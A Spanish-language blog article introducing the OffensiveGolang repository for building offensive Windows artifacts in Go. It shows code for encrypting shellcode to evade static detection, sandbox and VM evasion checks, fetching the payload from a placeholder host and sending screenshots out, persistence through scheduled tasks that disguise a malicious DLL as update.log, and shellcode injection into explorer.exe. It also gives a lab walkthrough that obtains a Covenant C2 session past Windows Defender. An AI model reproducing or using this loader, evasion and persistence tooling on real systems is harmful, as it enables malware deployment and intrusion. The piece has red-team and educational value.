Una vez vistas en el artículo anterior las ventajas y limitaciones que existen en el desarrollo de artefactos ofensivos en Golang, en esta segunda parte vamos a explicar más detalladamente de qué trata el repositorio OffensiveGolang, y qué podemos encontrar en él. Vamos allá.
OffensiveGolang cuenta principalmente con cinco módulos que tratan de lo siguiente:
- Encryption: Una forma sencilla de evitar que un análisis estático detecte un payload que se desea ejecutar, es cifrar el shellcode que contiene el artefacto. Este módulo permite utilizar el algoritmo de cifrado simétrico AES mediante una clave de 32 bytes generada aleatoriamente. Además, cuenta con los métodos de descifrado correspondiente para incluirlos en los binarios generados y poder ejecutar el payload.
A continuación se muestra un ejemplo básico del módulo encryption, que devolverá un fichero denominado data.txt con el shellcode cifrado y la clave generada aleatoriamente en la salida estándar de la terminal.
import “github.com/MrTuxx/OffensiveGolang/pkg/encryption”
func main() {
encryption.GetEncryption(“<SHELLCODE>”)
}
Para descifrar el shellcode será necesario decodificar el cifrado y la clave proporcionados en base64 y utilizar el modo operación CTR, tal y como se muestra en el siguiente fragmento de código.
Password = “<KEY BASE64-ENCODED>”
//Shellcode := exfil.GetData(“http://<IP>:<PORT>/data.txt”)
ciphertext, _ := base64.StdEncoding.DecodeString(Shellcode)
key, _ := base64.StdEncoding.DecodeString(Password)
block, _ := aes.NewCipher(key)
plaintext := make([]byte, len(ciphertext))
stream := cipher.NewCTR(block, key[aes.BlockSize:])
stream.XORKeyStream(plaintext, ciphertext)
Además, con la finalidad de no incluir todo el shellcode cifrado en el artefacto, es posible utilizar el método GetData del módulo exfil para obtener el contenido del fichero data.txt mediante una petición HTTP.
- Evasion: En este módulo se han desarrollado algunas funciones básicas para evadir herramientas de análisis como son las sandboxes. Se hace uso principalmente del paquete robotgo, para verificar el tamaño de la pantalla donde se está ejecutando el artefacto, la posición del ratón y si se ha producido movimientos durante los segundos, o la existencia de ficheros DLL que indiquen que se está ejecutando en una máquina virtual.
import (
“github.com/MrTuxx/OffensiveGolang/pkg/evasion”
)
func main() {
…
evasion.CheckNameEXE(“main.exe”)
evasion.CheckMouse(5)
evasion.CheckScreen()
if evasion.CheckVMFilepath(){
println(“[!] VM Detected”)
os.Exit(1)
} else {
…
}
…
}
En este fragmento de código se muestran algunos ejemplos básicos que verifican el nombre del binario, la posición del ratón pasado cinco segundos desde su ejecución, el tamaño de la pantalla y la búsqueda de ficheros en el sistema que puedan evidenciar la ejecución en una máquina virtual.
- Exfil: Modulo que permite obtener el payload mediante una petición HTTP. Además, permite enviar a un servidor web una imagen en base64 obtenida a partir del método screenshot, el cual se encarga de tomar una captura de pantalla antes de ejecutar el payload para evidenciar el intento de ejecución.
…
exfil.SendIMG(“http://<IP>:<PORT>”)
…
- Persistence: Modulo que permite crear persistencia en los sistemas mediante la modificación de registros o creación de tareas programadas. Para esta última técnica se utiliza el paquete taskmaster que permite crear tareas programadas en Windows. Además, se han implementado métodos como CreateDllScheduledTask cuya configuración por defecto permite crear una tarea programada que, copie el ejecutable rundll32.exe como upgrade.log y la DLL maliciosa como update.log en un subdirectorio del AppData del usuario, para que posteriormente sean ejecutados cada 10 minutos a través de un comando de PowerShell.
connection := persistance.GetConnection()
persistance.CreateDllScheduledTask(connection, `\NAME-TASK`, `C:\Path\evil.dll`)
persistance.DisconnectConnection(connection)
…
- Payloads: A partir de fragmentos de código del repositorio de Michael Long y go-shellcode de Ne0nd0g se han implementado tres métodos de inyección de shellcode en la memoria en Windows.
- Syscall: Mediante llamadas a la API de Windows se ejecuta el shellcode en el proceso de ejecución actual.
enc_string := “<SHELLCODE ENCRYPTED AND BASE64-ENCODED>”
key := “<KEY BASE64-ENCODED>”
shellcode.ShellCodeSyscall(enc_string, key)
…
-
- CreateThread: Mediante las funciones de CreateThread y VirtualAlloc inyecta el shellcode en el proceso de ejecución actual.
enc_string := “<SHELLCODE ENCRYPTED AND BASE64-ENCODED>”
key := “<KEY BASE64-ENCODED>”
shellcode.ShellCodeThreadExecute(enc_string, key)
…
-
- CreateRemoteThread: Inyecta el shellcode en un proceso del sistema proporcionando su PID. La función GetPID del módulo evasion puede proporcionar el PID de un proceso a partir de su nombre, con la finalidad de automatizar la inyección.
var pid int = evasion.GetPID(“explorer.exe”)
if pid != 0 {
enc_string := “<SHELLCODE ENCRYPTED AND BASE64-ENCODED>”
key := “<KEY BASE64-ENCODED>”
errorRemoteThread := shellcode.ShellCodeCreateRemoteThread(pid, enc_string, key)
if errorRemoteThread != nil {
fmt.Printf(“[!] Error: %s\n”, errorRemoteThread)
}
}
…
Ejecución
En el directorio examples del repositorio OffensiveGolang se encuentran diferentes ejemplos que hacen uso de cada uno de los módulos explicados anteriormente. Aunque a continuación se muestran algunas técnicas que se podrían llevar a cabo con la información que se ha expuesto.
En este caso se ha utilizado Covenant como Command and Control (C2) y un entorno virtualizado de Windows 10 actualizado, con únicamente Windows Defender como protección de Antivirus.
En primer lugar se configura el listener y se genera el binario con extensión .exe en Covenant. Posteriormente, se utiliza donut con dicho binario para obtener el shellcode en hexadecimal y el cual se usará en los artefactos de OffensiveGolang.
Como nota interesante, cabe destacar que las herramientas mencionadas anteriormente tienen su equivalente en Golang, por ejemplo, existe go-donut que es igual que la herramienta original, donut, pero desarrollado en Golang y también se puede utilizar Merlin, el cual es otro command and control desarrollado exclusivamente en Go.
En segundo lugar se cifra el shellcode. Para ello simplemente se ejecuta el programa en Golang explicado en el módulo encryption (Ilustración 13)y se obtiene el fichero data.ext.
A continuación se puede seleccionar del directorio examples alguna de las técnicas que se han mencionado. Una vez se haya pegado el shellcode cifrado, se compila para obtener el binario deseado, tal y como se ha detallado, la compilación se recomienda llevarla a cabo con Garble.
- En este ejemplo, se compila un binario en Windows que utiliza la técnica de CreateRemoteThread. Se utiliza el módulo evasion para verificar el nombre del fichero, el movimiento del ratón en los últimos cinco segundos y el tamaño de la pantalla, dado que se usa una máquina virtual para ejecutar el binario, no se añade los métodos del módulo evasion que intentan identificar los entornos virtuales.
En la imagen previa se puede observar como la ejecución del binario main.exe ha dado como resultado una sesión de Covenant. Si se utiliza Process Hacker se identifica el shellcode original generado por el Command and Control ejecutándose en el proceso explorer.exe.
- Con el mismo shellcode cifrado que se ha obtenido anteriormente, se procede a desplegar un servidor web en una máquina externa que proporcione el fichero txt. Posteriormente, se compila un fichero DLL en Windows que utilice la técnica Syscall, añadiendo la clave de descifrado y el método GetData del módulo exfil para obtener el shellcode cifrado desde el servidor web.
En la imagen previa se muestra la ejecución de la DLL a través del binario rundll32.exe en Windows. Cuando se realiza una llamada al método exportado execRev se realiza una descarga del shellcode cifrado y se ejecuta.
- Por último, es posible combinar la técnica que se ha descrito anteriormente con el módulo de persistencia. Es decir, se puede añadir el método que se muestra en el directorio persistance para exportar una nueva función denominada task. Dicha función copiará la propia DLL maliciosa como update.log y el binario rundll32.exe como upgrade.log en el subdirectorio Roaming del directorio AppData del usuario, posteriormente la tarea se lanzará cada diez minutos y ejecutará el método exportado execRev, el cual inyectará el shellcode en la memoria del proceso actual.
Finalmente, OffensiveGolang no deja de ser un repositorio con conceptos básicos que pretende facilitar la creación y entendimiento de artefactos ofensivos en el lenguaje de programación Go. Además, en entornos con un EDR que analice la memoria de los sistemas, con sistemas de monitorización, con información de telemetrías de red o incluso técnicas de sandboxing, estos artefactos probablemente serían detectados y bloqueados.
Por tanto, se evidencia el potencial del lenguaje y la cantidad de recursos que permiten un desarrollo fácil de artefactos ofensivos aparte de mostrar un campo en el que profundizar más aún.